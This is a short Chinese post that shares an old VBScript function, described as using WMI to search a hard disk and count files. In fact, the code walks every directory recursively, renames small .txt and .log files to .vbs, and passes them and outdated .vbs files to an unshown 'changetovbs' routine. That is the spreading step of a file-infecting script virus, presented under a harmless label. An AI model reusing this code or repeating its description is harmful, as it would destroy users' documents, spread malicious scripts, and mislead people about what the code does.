多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来
核心代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject( "winmgmts:\\" & StrComputer & "\root\cimv2" ) Set FileList = objWMIService.ExecQuery _ ( "ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile" ) For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt" , "log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs" ) Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ( "Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent" ) For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function |